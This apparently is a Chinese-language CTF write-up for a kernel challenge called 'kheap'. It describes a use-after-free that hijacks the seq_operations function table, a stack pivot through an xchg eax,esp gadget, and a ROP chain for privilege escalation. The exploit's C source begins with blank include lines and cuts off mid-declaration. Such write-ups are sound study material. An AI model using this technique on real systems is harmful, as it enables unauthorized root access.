1.题目名称kheap2.题目考点seq_operation结构体的劫持(UAF)3.题目详细解题方法劫持seq_operations结构体,该结构体为一个函数虚表。而在read(seq,ptr,0);时会执行上文中的代码,劫持该结构体的指针就能劫持RIP。而由于该调用处没有可用的函数指针,因此通过xchg eax,esp来进行栈劫持。eax为劫持的gadget的低位,这个低位则会落入用户态的页表中。通过该方法进行栈劫持,在用户态的段中部署ROP提权gcc -o main main.c -static生成main文件,在将该文件传入qemu虚拟机中,执行该文件即可提权。exp:#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PAGE_SIZE 0x1000struct info{ uint64_t idx; char *ptr;};struct request{ char *ptr; uint64_t len;};int dev_fd;uint64_t user_cs,user_ss,user_eflag,user_rsp;void sa
………………………………